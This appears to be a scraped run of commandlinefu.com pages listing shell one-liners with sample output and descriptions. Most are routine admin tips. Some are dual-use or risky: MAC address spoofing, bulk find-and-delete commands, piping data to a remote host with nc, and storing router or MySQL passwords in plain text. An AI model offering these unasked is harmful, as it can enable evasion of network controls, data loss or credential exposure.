Switch workspace For a demo try wmctrl -o 100,0; sleep 3; wmctrl -o 1500,0; sleep 3; wmctrl -o 3000,0; sleep 3; wmctrl -o 4500,0; Actually wmctrl -o <width x Number>,0; to switch to that workspace find . -size 0 -exec rm '{}' \; cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 10 | sed 1q 15fIrGab5C Functions: cat fold sed tr generate password find . -maxdepth 1 -name "*.zip" -exec unzip -tqq {} \; unzip: cannot find zipfile directory in one of ./somefile.sql.zip Check if zip files from current directory are good if you remove maxdepth, then all the folders will be searched and the status of zip file will be displayed only if it is corrupt. gs -dNOPAUSE -sDEVICE=pdfwrite -sOUTPUTFILE=output.pdf -dBATCH first.pdf second.pdf grep -E '<DT><A|<DT><H3' bookmarks.html | sed 's/<DT>//' | sed '/Bookmarks bar/d' | sed 's/ ADD_DATE=\".*\"//g' | sed 's/^[ \t]*//' | tr '<A HREF' '<a href' <h3>search engines</h3> <a href="http://google.com/">google search engine</a> convert chrome html export to folders, links and descriptions chrome only lets you export in html format, with a lot of table junk, this command will just export the titles of the links and the links without all that extra junk system_profiler SPApplicationsDataType | grep -A3 -B4 "Kind: PowerPC" No final count, but clean and simple output. whichpath() { local -A path; local c p; for c; do p=$(type -P "$c"); p=${p%/*}; path[${p:-/}]=1; done; local IFS=:; printf '%s\n' "${!path[*]}"; } rany:~$ whichpath md5sum cat ls nc sat /bin:/home/rany/bin:/usr/bin Functions: printf type Which PATH variable should I use for this scirpt? I find it useful when I want to add another crontab entry and I need to specify the appropriate PATH. I give ''whichpath'' a list of programs that I use inside my script and it gives me the PATH I need to use for this script. ''whichpath'' uses associative array, therefore you should have Bash v4 in order to run it. See sample output. xdotool getmouselocation Get mouse location (X,Y coordinates) cp path/filename{,-$(date +%Y-%m-%d)} $ cp test.txt{,-$(date +%Y-%m-%d)} $ ls -l test.txt* -rw-rw-r-- 1 user group 0 Aug 6 13:40 test.txt -rw-rw-r-- 1 user group 0 Aug 6 13:41 test.txt-2009-08-06 Create a backup of the file. It will create a backup of the filename. The advantage is that if you list the folder the backups will be sorted by date. The command works on any unix in bash. > [filename].txt empties a file... --- fir3net.com --- git log --name-only | less Find out what files are changed or added in a git repository. sed -i s/split\(/explode\(/ whatever.php replace deprecated php-function split in php files only for non-regexp-split - else use preg_split instead. pcregrep --color -M -N CRLF "owa_pattern\.\w+\W*\([^\)]*\)" source.sql Source multiline grep with pcregrep grep multiline in Perl regexp syntax with pcregrep pcregrep -r --exclude_dir='.svn' --include='.*jsp$' -A 2 -B 2 --color "pHtmlHome" . ./Titoli/titoli.CartaCredito.jsp-<title>Gestione pagamenti ./Titoli/titoli.CartaCredito.jsp- ./Titoli/titoli.CartaCredito.jsp: ./Titoli/titoli.CartaCredito.jsp- ./Titoli/titoli.CartaCredito.jsp-<%@ page language="java" %> ./Titoli/titoli.CartaCredito.jsp-<%@ page import="com.base.*" %> ./Titoli/titoli.CartaCredito.jsp- ./Titoli/titoli.CartaCredito.jsp: ./Titoli/titoli.CCPostale.jsp-Gestione pagamenti / C/C Postale ./Titoli/titoli.CCPostale.jsp- ./Titoli/titoli.CCPostale.jsp: ./Titoli/titoli.CCPostale.jsp- ./Titoli/titoli.CCPostale.jsp-<%@ page language="java" %> Recursive source regexp search with pcregrep range context (-A -B) search, with exclusion of vcs directories { command1 args1 ; command2 args2 ; ... } redirecting stdout of multiple commands { ... } vs ( ... ) reduces the process count, I believe. Typically, I use this logic to redirect a series of commands to a pipe -- { command1 args1 ; command2 args2}|less -- or file -- { command1 args1 ; command2 args2}>foo -- or to spawn the series as a background process -- { ... } & . ! $ history | grep 'ipt' 2 iptables -L -n -v -t nat $ !2 # will execute the iptables command Execute the command given by history event number You can find a command's history event number via the `history` command. You can also put the history event number in your prompt: \! for bash, or %h for zsh. Finally, I would like to point out that by "number", I mean POSITIVE INTEGER. Not, say, a letter, such as 'm'. Examples: !1 !975 ps -ef | grep [f]oo | awk '{print $2}' | xargs kill -9 kill all foo process Kill all processes with foo in them. Similar to pkill but more complete and also works when there is no pkill command. Works on almost every Linux/Unix platform I have tried. export LANG=C; grep string longBigFile.log Functions: export grep Fast grepping (avoiding UTF overhead) greps using only ascii, skipping the overhead of matching UTF chars. Some stats: $ export LANG=C; time grep -c Quit /var/log/mysqld.log user 0m0.112s sys 0m0.079s $ export LANG=en_US.UTF-8; time grep -c Quit /var/log/mysqld.log real 0m13.462s user 0m9.485s sys 0m3.977s Try strace-ing grep with and without LANG=C gnu@robby:/tmp$ ls FlashRvagFf plugtmp FlashXzXntM pulse-0TTrCRtslQIP keyring-kuxf9m pulse-kBvjtHC3bUl5 orbit-gnu ssh-MlVNQs3733 gnu@robby:/tmp$ mencoder FlashRvagFf -ovc lavc -oac mp3lame -o output.avi success: format: 0 data: 0x0 - 0x12a88ad ISO: File Type Major Brand: ISO/IEC 14496-1 (MPEG-4 system) v2 Quicktime/MOV file format detected. Warning! pts=14075904 length=14076810 [mov] Audio stream found, -aid 0 Warning! pts=28728000 length=28727924 [mov] Video stream found, -vid 1 VIDEO: [avc1] 512x384 24bpp 25.000 fps 0.0 kbps ( 0.0 kbyte/s) [V] filefmt:7 fourcc:0x31637661 size:512x384 fps:25.00 ftime:=0.0400 AUDIO: 44100 Hz, 2 ch, s16le, 88.3 kbit/6.25% (ratio: 11032->176400) Selected audio codec: [faad] afm: faad (FAAD AAC (MPEG-2/MPEG-4 Audio) decoder) VDec: vo config request - 512 x 384 (preferred colorspace: Planar YV12) videocodec: libavcodec (512x384 fourcc=34504d46 [FMP4]) Video stream: 540.588 kbit/s (67573 B/s) size: 21555944 bytes 319.000 secs 7980 frames Audio stream: 276.788 kbit/s (34598 B/s) size: 11034460 bytes 318.929 secs convert flv into avi file and mp3 sound ifconfig -l | xargs -n1 ipconfig getifaddr 2> /dev/null Functions: ifconfig xargs echo -n "String to MD5" | md5sum | sed -e 's/../& /g' -e 's/ -//' Same result with simpler regular expression.. mail -H | grep '^.U' | wc -l Functions: grep mail wc Count new mail Counts the number of new emails in the post office (or wherever mail is set up to check). cvs up -r1.23 -p main.cpp | vim - Functions: cvs vim read old reversion of file echo 'hello world' print an 'hello world' ‹ First < 212 213 214 215 216 > Last › timeDNS () { { for x in "${local_DNS}" "208.67.222.222" "208.67.220.220" "198.153.192.1" "198.153.194.1" "156.154.70.1" "156.154.71.1" "8.8.8.8" "8.8.4.4"; do ({ echo -n "$x "; dig @"$x" "$*"|grep Query ; }|sponge &) done ; } | sort -n -k5 ; } $ timeDNS commandlinefu.com 192.168.0.1 ;; Query time: 2 msec 208.67.222.222 ;; Query time: 13 msec 198.153.192.1 ;; Query time: 17 msec 208.67.220.220 ;; Query time: 17 msec 156.154.71.1 ;; Query time: 18 msec 8.8.8.8 ;; Query time: 20 msec 156.154.70.1 ;; Query time: 22 msec 8.8.4.4 ;; Query time: 22 msec 198.153.194.1 ;; Query time: 27 msec Functions: dig echo grep sort a function to find the fastest free DNS server Evoke from the command like as: timeDNS commandlinefu.com This isn't too terribly practical, but it is a good code example of using subshells to run the queries in parallel and the use of an "anonymous function" (a/k/a "inline group") to group i/o. I'm assuming you have already defined your local DNS cache as ${local_DNS}, (here, it's 192.168.0.1). You do need to install `moreutils` to get `sponge`. If you're willing to wait, a slower version w/o sponge, (and w/o sorting), is this: svn log -v -r{2009-11-1}:HEAD | awk '/^r[0-9]+ / {user=$3} /./{if (user=="george") {print}}' | grep -E "^ M|^ G|^ A|^ D|^ C|^ U" | awk '{print $2}' | sort | uniq /svnproject/somedir/childdir/bfile.txt /svnproject/somedir/childdir2/afile1.txt /svnproject/somedir2/childdir/zfile.txt /svnproject/somedir/childdir3/yfile.txt /svnproject/somedir5/childdir/xfile.txt Functions: awk grep sort svn log -v --> takes log of all Filter1 -------- -r {from}{to} --> gives from and to revision Filter2 awk of line 'r'with numbers Assign user=3rd column [ie; username] Filter3 if username = George print details Filter4 Print lines starts with M/U/G/C/A/D [* A Added * D Deleted * U Updated * G Merged * C Conflicted] Filter5 sort all files Filter6 ------- Print only uniq file's name alone. for HOSTTOREMOVE in $(dig +short host.domain.tld); do ssh-keygen -qR $HOSTTOREMOVE; done /home/USER/.ssh/known_hosts updated. Original contents retained as /home/USER/.ssh/known_hosts.old Functions: dig ssh-keygen Works for multiple hosts (such as www.google.com) and/or wrong hosts. locate -e somefile | xargs ls -l laptop:~# locate -e freetype.so | xargs ls -l -rw-r--r-- 1 root root 483556 2009-06-01 14:50 /usr/lib32/libfreetype.so.6.3.20 -rw-r--r-- 1 root root 551872 2009-06-01 14:40 /usr/lib/libfreetype.so.6.3.20 locate a filename, make sure it exists and display it with full details use the locate command to find files on the system and verify they exist (-e) then display each one in full details. curl -s http://icanhazip.com/ for code in $(find . -type f -name '*.p[ml]'); do perl -c "$code"; done ./foo.pl syntax OK ./bar/Baz.pm syntax OK Check syntax of all Perl modules or scripts underneath the current directory Finds all *.p[ml]-files and runs a perl -c on them, checking whether Perl thinks they are syntactically correct find . -iname \*${MYVAR}\* -print Use a variable in a find command. Useful in scripting. You define your variable MYVAR with the desired search pattern: MYVAR= ...which can then be searched with the find command. This is useful if you in a script, where you want the arguments to be fed into the find command. The provided search is case insensitive (-iname) and will find all files and directories with the pattern MYVAR (not exact matches). This may go without saying, but if you want exact matches remove the \* and if you want case sensitive, use the -name argument. curl --silent http://www.dudalibre.com/gnulinuxcounter?lang=en | grep users | head -2 | tail -1 | sed 's/.*//g' | sed 's/<\/strong>.*//g' Functions: grep head sed tail users Get the amount of users currently registered at the DudaLibre.com Linux Counter. echo | ifconfig | grep HWaddr Functions: echo grep ifconfig printf "g/^/m0\nw\nq"|ed $FILE Functions: ed printf also works in vim ssh-keygen -C hello@world Put at the end of the rsa public key an comment(default value is the hostname) Now at the end of the rsa.pub file, there is our comment like= ".................peXeuE0ytJgpQcXeR5aHlfLa8dAt0obasd hello@world" package-cleanup --leaves --all Setting up yum Loaded plugins: fastestmirror, refresh-packagekit Loading mirror speeds from cached hostfile xorg-x11-drv-siliconmotion-1.6.0-1.fc9.x86_64 xorg-x11-drv-fpit-1.2.0-1.fc9.x86_64 nss_db-2.2-43.fc10.x86_64 List all packages with no dependencies (yum based system) This command lists all packages in a yum based system that no other packages depend on. Hence, these packages are good candidates for removal. It's a great command for cleaning up a yum based distribution after installation. egrep 'string1|string2' file grep or search file for string1 or string2 #!/bin/sh #du.sh i=`hostname -i` df -h > /tmp/space.txt echo "server $i " >> /tmp/space.txt uuencode /tmp/space.txt space.txt | mail -s "HDD usage $i" email@email.com Functions: df echo mail uuencode Send Disk usage via email source .bashrc root@ubuserver:~# source .bashrc root@ubuserver:~# reload config reload a configuration from .bashrc file apt-cache search pidgin* | awk '{print$ 1}' | tr '\n' ' ' | xargs aptitude -y install Functions: apt awk tr xargs Install evertything with the prefix pidgin or wathever Command to install everything on a debian based system with the prefix you indicate. curl --verbose -d "hello=world" http://mydomain.com Make a HTTP request using curl with POST method $ wget --mirror -p --convert-links -P ./ ?mirror : turn on options suitable for mirroring. -p : download all files that are necessary to properly display a given HTML page. ?convert-links : after the download, convert the links in document for local viewing. -P ./LOCAL-DIR : save all the files and directories to the specified directory. dpkg -c deb_package dpkg -c google-chrome-stable_current_i386.deb drwx------ root/root 0 2011-07-11 23:31 ./ drwxr-xr-x root/root 0 2011-07-11 23:31 ./etc/ drwxr-xr-x root/root 0 2011-07-11 23:32 ./etc/cron.daily/ drwxr-xr-x root/root 0 2011-07-11 23:31 ./usr/ drwxr-xr-x root/root 0 2011-07-11 23:32 ./usr/bin/ drwxr-xr-x root/root 0 2011-07-11 23:31 ./usr/share/ drwxr-xr-x root/root 0 2011-07-11 23:32 ./usr/share/menu/ List contents of a deb package for i in $(locate your_search_phrase); do dirname $i; done | sort | uniq Functions: dirname locate sort search for files or directories, then show a sorted list of just the unique directories where the matches occur Ever use 'locate' to find a common phrase in a filename or directory name? Often you'll get a huge list of matches, many of which are redundant, and typically the results are not sorted. This command will 'locate' your search phrase, then show you a sorted list of just the relevant directories, with no duplications. So, for example, maybe you have installed several versions of the java jre and you want to track down every directory where files matching "java" might exist. Well, a 'locate java' is likely to return a huge list with many repeated directories since many files in one directory could contain the phrase "java". This command will whittle down the results to a minimal list of unique directory names where your search phrase finds a match. sudo snmptrap -m ALL -v 2c -c public trapserver "" UCD-DEMO-MIB::ucdDemoPublic SNMPv2-MIB::sysLocation.0 s "Just here" Send SNMP traps /sbin/lspci (-v is verbose) FINDING PCI DEVICES tac $FILE mkdir /tmp/dir1/{0..20} make directory Here was simple. 32K sub-dir1 32K sub-dir2 32K sub-dir3 17M sub-dir4 508K sub-dir5 Current sub-folders sizes ‹ First < 213 214 215 216 217 > Last › perl -lane 'print "$F[0]:$F[1]:$F[2]"' myfile # perl -lane 'print "$F[3] $F[6] $F[2]"' myfile this is perl Rearrange words from a file Consider this line : random perl language this make possible is is possible to rearrange words with $F perl variable and word index, starting from 0. tune2fs -j /dev/sdX Converts ext2 to ext3 unset MANPATH; manpath >/dev/null # This creates the manpath from my PATH, after it parses man.conf bash$ echo $PATH /usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin:/opt/local/bin:/opt/local/sbin:/Users/stefanl/bin:/our_company_utils/bin/ bash$ unset MANPATH; manpath /usr/share/man:/usr/local/share/man:/usr/X11/man:/opt/local/share/man:/Users/user/man:/opt/local/man:/our_company_utils/man/ Functions: manpath unset Find Man pages for everything in your $PATH If I type 'man something', I want it to find the manpage in the same order as my PATH. You can add something like this to your .bashrc # Add my MacPorts, my personal utilities and my company utilities to my PATH. export PATH=$PATH:/opt/local/bin:$HOME/bin:/our_company_utils/bin/ # Now set the manpath based on the PATH, after man(1) parses man.conf # - No need to modify man.conf or manually modify MANPATH_MAP # - Works on Linux, FreeBSD & Darwin, unlike /etc/manpaths.d/ # Must unset MANPATH first. MANPATH is set on some systems automatically (Mac), # which causes manpath to ignore the values of PATH like /opt/local/bin (MacPorts). # Also MANPATH may be deprecated. See "SEARCH PATH FOR MANUAL PAGES" in man(1) unset MANPATH # manpath acts differently on Solaris, FreeBSD, MacOSX & GNU. This works everywhere. manpath >/dev/null Note that MacOSX, FreeBSD & Linux have fancier ways to do some of this. (e.g. 'man --path' or 'man -q'), but this command is more universal and should work everywhere. find "$1" -iname "*$2*" This works fine too. strace -e open zim 2>&1 1>/dev/null | fgrep ~ | fgrep -v "= -1" | cut -d'"' -f2 Functions: cut fgrep strace Locate config files of the program Locate config files of the program. May not be used for interactive programs like vim. tcp(){ tcpdump -nUs0 -w- -iinterface $1|tcpdump -n${2-A}r- ;} usage: tcp '[primitives]' [X|XX] unbuffered tcpdump Sometimes the question comes up: How to get unbuffered tcpdump output into the next program in the pipe? i.e. if your OS forces you to wait for the buffer to fill before the next program sees any of the output If you use -Uw- then you can't use -A (or -X or -XX) at the same time. When the question comes up, I've never seen anyone suggest this simple solution: chaining 2 tcpdump instances. find . -size 1400c -exec rm {} \; remove files of a specific size Removes all files in the current folder that are 1400 bytes in size. sudo dd if=/dev/block/device bs=1MB | pv -s `sudo blockdev --getsize64 /dev/block/device' | gzip -9 > output.img.gz Functions: dd gzip sudo genRandomText() { a=( a b c d e f g h i j k l m n o p q r s t u v w x y z );f=0;for i in $(seq 1 $(($1-1))); do r=$(($RANDOM%26)); if [ "$f" -eq 1 -a $(($r%$i)) -eq 0 ]; then echo -n " ";f=0;continue; else f=1;fi;echo -n ${a[$r]};done;echo"";} [bbbco ~]$ genRandomText 122 onzwxfeknlnvycuccvki dybtrqibdpgl aeclwkfpuxkohucy cqlmpbkwgcqesimxupdkqiymucljhitffb czegujyofidnxnvrkolhmudslpklbjnpmun [bbbco ~]$ genRandomText 122 | wc -m 122 [bbbco ~]$ genRandomText 27 b bpglferrcsrtveiop umn nq [bbbco ~]$ genRandomText 27 | wc -m 27 Generate Random Text based on Length Ever need to get some text that is a specific number of characters long? Use this function to easily generate it! Doesn't look pretty, but sure does work for testing purposes! for i in `seq -w 1600` ; do links -dump http://www.robsjokes.com/$i/index.html | sed '/Random Joke/,/Next Joke/!d' | sed '/^$/,/^$/!d' >> ~/temp/Rob.jokes ; echo '%' >> ~/temp/Rob.jokes ; done fetch 1600 jokes from robsjokes.com into a single file, which is fortunable svn add $(svn st|grep ^\?|cut -c2-) This version makes uses of Bash shell expansion, so it might not work in all other shells. find /DirectoryWhereMyMp3sAre/ -name *.mp3 | grep "andy" > ~/mylist In the file mylist in your home directory /DirectoryWhereMyMp3sAre/andy.mp3 /DirectoryWhereMyMp3sAre/andy2.mp3 /DirectoryWhereMyMp3sAre/sandy.mp3 /DirectoryWhereMyMp3sAre/kandy.mp3 This file can now be played with mpg321 -@ ~/mylist yum whatprovides /usr/lib/libXX1.so /usr/lib/libXX2.so | grep fc | sed 's/^\(.*\)-[0-9.]*-.*$/\1/' | sort | uniq | xargs yum -y install Functions: fc grep sed sort uniq xargs install package which provides some libraries in fedora this command will install the packages which provides the libraries you need to link with, e.g. when you compile something needs opengl libraries: gcc -o testgl testgl.c -lGLEW -lGL -lGLU -lglut you can use `/usr/lib/libGLEW.so /usr/lib/libGL.so /usr/lib/libGLU.so /usr/lib/libglut.so' find . -maxdepth 1 -printf '%A@\t%p\n' | sort -r | cut -f 2,2 | head -1 get newest file in current directory Uses UNIX time for sorting. while IFS= read -r -u3 -d $'\0' file; do file "$file" | egrep -q 'executable|ELF' && chmod +x "$file"; done 3< <(find . -type f -print0) Functions: chmod egrep file find read Set executable permissions only to executable files If you make a mess (like I did) and you removed all the executable permissions of a directory (or you set executable permissions to everything) this can help. It supports spaces and other special characters in the file paths, but it will work only in bash, GNU find and GNU egrep. You can complement it with these two commands: 1. add executable permission to directories: find . type d -print0 | xargs -0 chmod +x 2. and remove to files: find . type d -print0 | xargs -0 chmod -x Or, in the same loop: while IFS= read -r -u3 -d $'\0' file; do case $(file "$file" | cut -f 2- -d :) in :*executable*|*ELF*|*directory*) chmod +x "$file" ;; *) chmod -x "$file" ;; esac || break done 3< <(find . -print0) Ideas stolen from Greg's wiki: http://mywiki.wooledge.org/BashFAQ/020 find . -type f -name \*.c | while read f; do mv $f "`basename $f .c`".C; done $ find . -type f -name \*.c | while read f; do mv $f "`basename $f .c`".C; done kk1.C kk2.C kk3.C kk4.C recursively change file name extensions or, for a single directory: for f in *.c; do mv $f "`basename $f .c`".C; done vimdiff foo.c <(bzr cat -r revno:-2 foo.c) Compare a file with the output of a command or compare the output of two commands find /backup/directory -name "FILENAME_*" -mtime +15 -exec rm -vf {}; sudo ifconfig en1 ether 00:e2:e3:e4:e5:e6 Spoof your wireless MAC address on OS X to 00:e2:e3:e4:e5:e6 If you want to check that the spoof worked, type the same command as earlier: ifconfig en1 | grep ether Now you will see: ether 00:e2:e3:e4:e5:e6 For the wired ethernet port: sudo ifconfig en0 ether 00:e2:e3:e4:e5:e6 while [[ COUNTER -le 10 && IFS=':' ]]; do for LINE in $(cat /tmp/list); do some_command(s) $LINE; done; COUNTER=$((COUNTER+1)); done Iterate through a file where instead of Newline characters, values are separated with a non-white space character. At times I find that I need to loop through a file where each value that I need to do something with is not on a separate line, but rather separated with a ":" or a ";". In this instance, I create a loop within which I define 'IFS' to be something other than a whitespace character. In this example, I iterate through a file which only has one line, and several fields separated with ":". The counter helps me define how many times I want to repeat the loop. gawk '!/^[\t\ ]*#/{print $0}' filename | strings File without comments or blank lines. cmdfu(){ local TCF="/var/tmp/cmdfu"; echo " Searching..."; curl "http://www.commandlinefu.com/commands/matching/$(echo "$@" | sed 's/ /-/g')/$(echo -n $@ | base64)/plaintext" --silent > "$TCF"; vim -c "set filetype=sh" -RM "$TCF"; rm "$TCF"; } Functions: echo rm vim Search commandlinefu.com and display with VIMs syntax highlighting! Multi-argument version, but with VIM loveliness :D ps awwwux | grep httpd | grep -v grep | awk '{mem = $6; tot = $6 + tot; total++} END{printf("Total procs: %d\nAvg Size: %d KB\nTotal Mem Used: %f GB\n", total, mem / total, tot / 1024 / 1024)}' Total procs, avg size (RSS) and Total mem use $ perl -pi -e 's/\r\n/\n/g' dos2unix Converts windows lined-style file to unix. see http://en.wikipedia.org/wiki/Newline Can be used to convert from linux2dos : just invert \r\n and \n. cat files.txt | xargs tar -cv | tar -x -c $DIR/ Functions: cat tar xargs Copy files from list with hierarchy If you want certain files out of a directory hierarchy, this will copy just the listed files, but will create the directory hierarchy in the new location ($DIR/) ‹ First < 214 215 216 217 218 > Last › curl -s "http://services.digg.com/stories?link=$NEWSURL&appkey=http://www.whatever.com&type=json" | python -m simplejson.tool | grep diggs Functions: grep python Get number of diggs for a news URL smbmount /// Mount Windows shared folder (or Samba share) bindkey ^f at "#" kill Kill all windows in one go in gnu screen Kills all windows in a gnu screen session and terminates it , on pressing Control-f , useful in closing screen session with large number of windows . Add it to your screenrc . parallel -j+0 lame {} -o {.}.mp3 ::: *.wav To convert **.wav to **.mp3 using LAME running one process per CPU core run: Command in description (Your command is too long - please keep it to less than 255 characters) Functions: command less YouTube Convert and Download All User's Videos to MP3s on the fly yt-mp3chanrip() { for count in 1 51 101 151 201 251 301; do for i in $(curl -s http://gdata.youtube.com/feeds/api/users/"$1"/uploads\?start-index="$count"\&max-results=50 | grep -Eo "watch\?v=[^[:space:]\"\'\\]{11}" | uniq); do ffmpeg -i $(wget http://youtube.com/"$i" -qO- | sed -n "/fmt_url_map/{s/[\'\"\|]/\n/g;p}" | sed -n '/^fmt_url_map/,/videoplayback/p' | sed -e :a -e '$q;N;5,$D;ba' | tr -d '\n' | sed -e 's/\(.*\),\(.\)\{1,3\}/\1/') -vn -ab 128k "$(youtube-dl -e http://youtube.com/"$i").mp3"; done; done; unset count i; } create the function and run with yt-mp3chanrip YoutubeUsername Great for channels like ukfDrumAndBass that only post music. No more need for third party browser plugins or websites that only convert one vid one at a time. It'll convert and save to CWD up to 300 of a user's videos to mp3s, one at a time. To increase, just increment the $count pattern. This is a concoction from commands #7718 and #7752, so it uses ffmpeg wget, curl, sed, and youtube-dl -- youtube-dl is only used to get the title of the video which it uses to name the mp3 file. You can use a different naming method if you want and the function should still work. killall -r 'a regular expression' killall -r 'chrom' will kill all chromium instances at once This is usefull when we don't know the exact name of the process, but the application name A limitation is that the regular expression only tries to match the last part of the full command (i.e. the bin file name itself). But this is way shorter than the following one: ps axww | grep SomeCommand | awk '{ print $1 }' | xargs kill cd /usr/share/gnome-shell/search_providers/ && cat google.xml | sed "s/www.google.com\/search/duckduckgo.com\//; s/Google/DuckDuckGo/g" > duckduckgo.xml Functions: cat cd sed Add DuckDuckGo Search as search provider on gnome-shell Add DuckDuckGo Search as search provider on gnome-shell/gnome3 . Needs root permission. To see the results, use alt+f2 and then type r. $ mkdir -p /tmp/dir1/{0..20} if dir1 does not exists #!/bin/bash cd /usr/share/consolefonts/; for i in * ; do setfont; echo "testing >> $i << font" ; setfont $i ; showconsolefont ; sleep 5 ; clear ; done testing >> 165.cp << font ! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ ` Functions: cd clear echo sleep view all console fonts Testing in a TTY terminal , not emulator . fdupes -r -1 Neu | while read line; do j="0"; buf=""; for file in ${line[*]}; do if [ "$j" == "0" ]; then j="1"; buf=$file; else ln -f $buf $file; fi; done; done alias dir="ls -al" alias dir to ls -al If you come from a DOS background and accidentally use DOS commands often, this and others like it can be helpful. Add to your .bash_profile, or wherever you keep such things. curl http://root:PASSWORD@ROUTER_DYN_DNS/bwm/tomato_rstatsa001839ceb1d4.gz?_http_id=HTTPID > $HOME/Dropbox/Backups/tomato_stats.gz Backup your precious Tomato Router Stats You must get your Backup Url from: http://ROUTER_DYN_DNS/admin-bwm.asp under "Backup". I set it up in a curl diskutil list List all mounted drives and their accompanying partitions from OS X Terminal pmap $(pgrep [ProcessName] -n) | gawk '/total/ { a=strtonum($2); b=int(a/1024); printf b};' Functions: gawk pmap printf Get acurate memory usage of a Process in MegaBytes find . -type f | sed -n 's/..*\.//p' | sort -f | uniq -ic Count files by extension Change "sort -f" to "sort" and "uniq -ic" to "uniq -c" to make it case sensitive. function geoip() { curl -s "http://www.geoiptool.com/en/?IP=$1" | html2text | egrep --color "IP Address:|Country:|City:|Longitude:|Latitude:|Host Name:" } [09:46 PM] root@MyServer:~ $ geoip 218.53.106.44 | Host Name: 218.53.106.44 | | IP Address: 218.53.106.44 | | Country: Korea,_Republic_Of [korea, republic of] | | City: Seocho | | Longitude: 127.0167 | |____Latitude:_37.4833_______________________________________________________| Provides external IP, Country and City in a formated manner. Provides a cleaner output plus some more details about the IP address. Also, a flaw was corrected where the URL provided the results in Spanish by default. genRandomText() { perl -e '$n=shift; print chr(int(rand(26)) + 97) for 1..$n; print "\n"' $1;} If you don't have seq, you can use perl. ipcs -a | grep 0x | awk '{printf( "-Q %s ", $1 )}' | xargs ipcrm Functions: awk grep ipcs xargs Clear IPC Message Queue hdiutil convert /path/imagefile.dmg -format UDTO -o /path/convertedimage.iso Convert a DMG file to ISO in OS X Terminal kill -3 PID How to get full tread dump for java process Useful command to get information about running java process and treads, to see log look into the default log for your java application diff -ua <(w3m -dump http://www.php.net/downloads.php|fgrep -A1 '5.2.15 (tar.bz2)'|awk '/md5:/{print $2}') <(md5sum php-5.2.15.tar.bz2|awk '{print $1}') Functions: awk diff fgrep md5sum Check the MD5 Use zsh process substitution syntax. cat /var/log/auth.log | grep -i "pam_unix(sshd:auth): authentication failure;" | cut -d' ' -f14,15 | cut -d= -f2 | sort | uniq 178.170.147.99 184.107.214.162 189.223.99.235.dsl.dyn.telnor.net 200.21.87.167 mail1.zenithinfotech.com Functions: cat cut grep sort Get a list of IP Addresses that have failed to login via SSH This command shows a sorted list of the IP addresses from which there have been authentication errors via SSH (possible script kiddies trying to gain access to your server), it eliminates duplicates so it's easier to read, but you can remove the "uniq" command at the end, or even do a "uniq -c" to have a count of how many times each IP address shows in the log (the path to the log may vary from system to system) !$ will be expanded to the last argument on the previous command. There are also positionnal parameters like !:1, !:2... echo -e "[client]\nuser = YOURUSERNAME\npassword = YOURPASSWORD" > ~/.my.cnf [client] user = YOURUSERNAME password = YOURPASSWORD Passwordless mysql{,dump,admin} via my.cnf file The file .my.cnf located at user's home directory is used for mysql login. If this file exists, then mysql -uYOURUSERNAME -pYOURPASSWORD database -e 'SOME SQL COMMAND' can be replaced with mysql database -e 'SOME SQL COMMAND' It saves you from typing! This is valid for mysqladmin and mysqldump commands as well. dd if=/dev/zero bs=256M count=1 | nc [remoteIP] [remotePort] and on the other host nc -l port >/dev/null Functions: dd host Test network performance, copying from the mem of one box, over the net to the mem of another Note, the [remotePort] should be opened in the firewall first. First, start the destination box listening, then fire off the sending box. Data from the /dev/zero device in memory of the source machine is read out using dd, sent over the network with nc, and read back in from the other side of the network with nc, going to the /dev/null device. Essentially, it is a memory-network-memory copy operation, the output of dd will tell you how fast your network really is performing. ‹ First < 215 216 217 218 219 > Last › check_dns_no() { for i in $* ; do if `wget -O - -q http://www.norid.no/domenenavnbaser/whois/?query=$i.no | grep "no match" &>/dev/null` ; then echo $i.no "available" ; fi ; sleep 1 ;done } xeor@nibler:~$ check_dns_no test1 test2 test3 test2.no available test3.no available Functions: echo grep sleep Check if a .no domain is available Mostly for Norwegians, but easily adoptable to others. Very handy if you are brainstorming for a new domainname. Will only display the available ones.. You can usually do this better with dig, but if you dont have dig, or the TLD only have an online service to check with, this will be usefull.. hdiutil convert /path/imagefile.iso -format UDRW -o /path/convertedimage.dmg Convert an ISO file to DMG format in OS X Terminal sed 's/[[:blank:]]*#.*//; /^$/d' filename This will remove comments that are at the end of lines. gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf 1.pdf 2.pdf 3.pdf 4.pdf I found this on http://fixnum.org/blog/2007/concat_pdfs_with_ghostscript/ so it's not my creation, but I think it's very useful and a good addition to this codebase. ffmpeg -f alsa -i default -f x11grab -s sxga -r 10 -i :0.0 -f mp4 -s vga -sameq out.mp4 capture screen and mic sxga ==> 1280x1024 vga ==> 800x600 ------------------------------------------------ xwininfo -root | grep geometry ifconfig eth0 hw ether 00:11:22:33:44:55 change mac address for i in `rpm -qva | sort ` ; do ; echo "===== $i =====" ; rpm -qvl $i ; done > /tmp/pkgdetails Functions: echo rpm sort Create a file list of all package files installed on your Red-Hat-like system for easy grepping This will create the file /tmp/pkgdetails, which will contain a listing of all the files installed on your RPM-based system (RedHat, Fedora, CentOS, etc). Useful should the RPM system/database become corrupted to find which package installed which files. for URL in `wget -O - http://api.flickr.com/services/feeds/photos_public.gne?tags=bitch,bw 2>/dev/null | grep -E -o "http[^ ]+?jpg" | grep -v "_m" | uniq | grep -v 'buddy' `; do FILE=`echo $URL | grep -E -o "[0-9a-z_]+\.jpg"`; curl $URL > $FILE; done; A director full of desktop wallpapers showing nice woman ;) Functions: grep uniq Grap all images with the tags 'bitch' and 'bw' from a flickr photofeed tar -tf /path/to/file.tar lists contents of a tar file dbus-send --system --print-reply --dest=org.freedesktop.NetworkManager /org/freedesktop/NetworkManager org.freedesktop.NetworkManager.Enable boolean:true Enable NetworkManager (in KDE) some times, after package upgrade (debian) or knetworkmanager crashing... NetworkManager turns off (disables). to enable it, use the above command. tcpdump -i eth0 -n | head see what traffic is mostly hitting you Sometimes it is useful to have just a general picture of "what is taking all the bandwidth here". Running this command will limit tcpdump to a few packets (instead of flooding your terminal endlessly) and will provide a small, but sometimes sufficient, sample to determine what is going on. Useful to quickly diagnose DOS attacks. time dd if=/dev/zero of=blah.out oflag=direct bs=256M count=1 Let dd use direct I/O to write directly to the disk without any caching. You'll encounter very different results with different block sizes (try with 1k, 4k, 